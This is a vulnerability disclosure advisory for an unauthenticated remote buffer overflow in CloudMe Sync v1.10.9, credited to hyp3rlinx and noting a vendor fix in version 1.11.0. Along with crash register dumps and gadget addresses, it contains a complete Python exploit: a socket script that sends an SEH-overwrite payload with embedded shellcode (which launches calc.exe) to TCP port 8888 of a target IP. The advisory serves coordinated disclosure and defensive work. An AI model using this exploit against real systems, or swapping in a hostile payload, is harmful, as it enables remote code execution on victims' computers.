SSD Advisory – CloudMe Unauthenticated Remote Buffer Overflow
Credit to Author: SSD / Noam Rathaus| Date: Sun, 11 Feb 2018 07:06:24 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
See our full scope at: https://blogs.securiteam.com/index.php/product_scope
The following advisory describes one (1) vulnerability found in CloudMe.
CloudMe is “a file storage service operated by CloudMe AB that offers cloud storage, file synchronization and client software. It features a blue folder that appears on all devices with the same content, all files are synchronized between devices.”
The vulnerability found is a buffer overflow vulnerability, which when exploited can be used to cause the product to execute arbitrary code.
Credit
A security researcher from, hyp3rlinx, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
Vendor response
The vendor has released CloudMe version 1.11.0 which addresses this vulnerability.
Affected version
CloudMe Sync version v1.10.9 and prior
Vulnerability Details
An unauthenticated remote attackers that can connect to the “CloudMe Sync” client application listening on port 8888, can send a malicious payload causing a buffer overflow condition. This will result in an attacker controlling the programs execution flow and allowing arbitrary code execution on the victims PC.
CloudMe Sync client creates a socket listening on TCP Port 8888 (0x22B8)
In Qt5Core:
Buffer overflow condition
EIP register will be overwritten at about 1075 bytes.
1 2 3 4 5 6 7 8 9 | EAX 00000001 ECX 76F698DA msvcrt.76F698DA EDX 00350000 EBX 41414141 ESP 0028D470 EBP 41414141 ESI 41414141 EDI 41414141 EIP 41414141 |
Stack dump information
1 2 3 4 5 6 | (508.524): Access violation – code c0000005 (first/second chance not available) *** ERROR: Symbol file could not be found. Defaulted to export symbols for ntdll.dll – eax=00000000 ebx=00000000 ecx=41414141 edx=778f353d esi=00000000 edi=00000000 eip=41414141 esp=00091474 ebp=00091494 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? |
Exploitation is very easy as ASLR SafeSEH are all set to false making the exploit portable and able to work across different operating systems. We will therefore use Structured Exceptional Handler overwrite for our exploit.
e.g.
1 2 3 | 6FE6909D 0x6fe6909d : pop ebx # pop esi # ret 0x20 | {PAGE_EXECUTE_READ} [libstdc++-6.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:UsersvictimoAppDataLocalProgramsCloudMeCloudMelibstdc++-6.dll) 00476795 0x00476795 : pop ebx # pop esi # ret 0x20 | startnull {PAGE_EXECUTE_READ} [CloudMe.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:UsersvictimoAppDataLocalProgramsCloudMeCloudMeCloudMe.exe) 61E7B7F6 0x61e7b7f6 : pop ebx # pop esi # ret 0x20 | {PAGE_EXECUTE_READ} [Qt5Gui.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.9.0.0 (C:UsersvictimoAppDataLocalProgramsCloudMeCloudMeQt5Gui.dll) |
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | import socket,struct print ‘CloudMe Sync v1.10.9’ print ‘Unauthenticated Remote Buffer Overflow 0day’ print ‘Discovery/credits: hyp3rlinx’ print ‘apparition securityn’ #shellcode to pop calc.exe Windows 7 SP1 sc=(“x31xF6x56x64x8Bx76x30x8Bx76x0Cx8Bx76x1Cx8B” “x6Ex08x8Bx36x8Bx5Dx3Cx8Bx5Cx1Dx78x01xEBx8B” “x4Bx18x8Bx7Bx20x01xEFx8Bx7Cx8FxFCx01xEFx31” “xC0x99x32x17x66xC1xCAx01xAEx75xF7x66x81xFA” “x10xF5xE0xE2x75xCFx8Bx53x24x01xEAx0FxB7x14” “x4Ax8Bx7Bx1Cx01xEFx03x2Cx97x68x2Ex65x78x65” “x68x63x61x6Cx63x54x87x04x24x50xFFxD5xCC”) ip=raw_input(‘[+] CloudMe Target IP> ‘) nseh=“xEBx06”+“x90”*2 #JMP seh=struct.pack(‘<L’,0x61e7b7f6) #POP,POP RET junk=“A”*2232+nseh+seh+sc+“B”*5600 payload=junk+nseh+seh+sc def PwnMe(ip,payload): s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip,8888)) s.send(payload) print ‘Sending buffer overflow packetz’ raw_input() if __name__ == ‘__main__’: PwnMe(ip,payload) |
